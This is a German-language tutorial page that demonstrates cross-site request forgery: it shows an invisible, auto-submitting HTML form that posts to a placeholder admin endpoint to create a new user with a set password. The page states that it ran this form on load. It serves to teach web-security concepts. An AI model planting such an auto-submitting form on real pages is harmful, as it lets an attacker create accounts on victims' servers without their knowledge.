You’ve been hacked! - CSRF-Demo mit unsichtbaren Formular

Das folgende unsichtbare Formular legt nach dem Aufruf der Seite über JavaScript einen neuen Benutzer an (bzw. hat es schon, wenn Sie das hier lesen):

Und so sieht das Ganze im Sourcecode aus:

<form method="post" action="http://Adresse des Servers/app/admin/index.php">
   <input type="hidden" name="bname" value="FORMULAR-CSRF">
   <input type="hidden" name="rname" value="Realname">
   <input type="hidden" name="pass" value="FORMULAR-CSRF">
   <input type="hidden" name="aktion" value="eintragen">
</form>

<script>document.forms[0].submit()</script>

Das Formular besteht nur aus unsichtbaren Feldern für die nötigen Parameter. Und die Zeile JavaScript-Code schickt das Formular dann ab.

Zurück zur Kapitel-Startseite oder zur Doku-Startseite.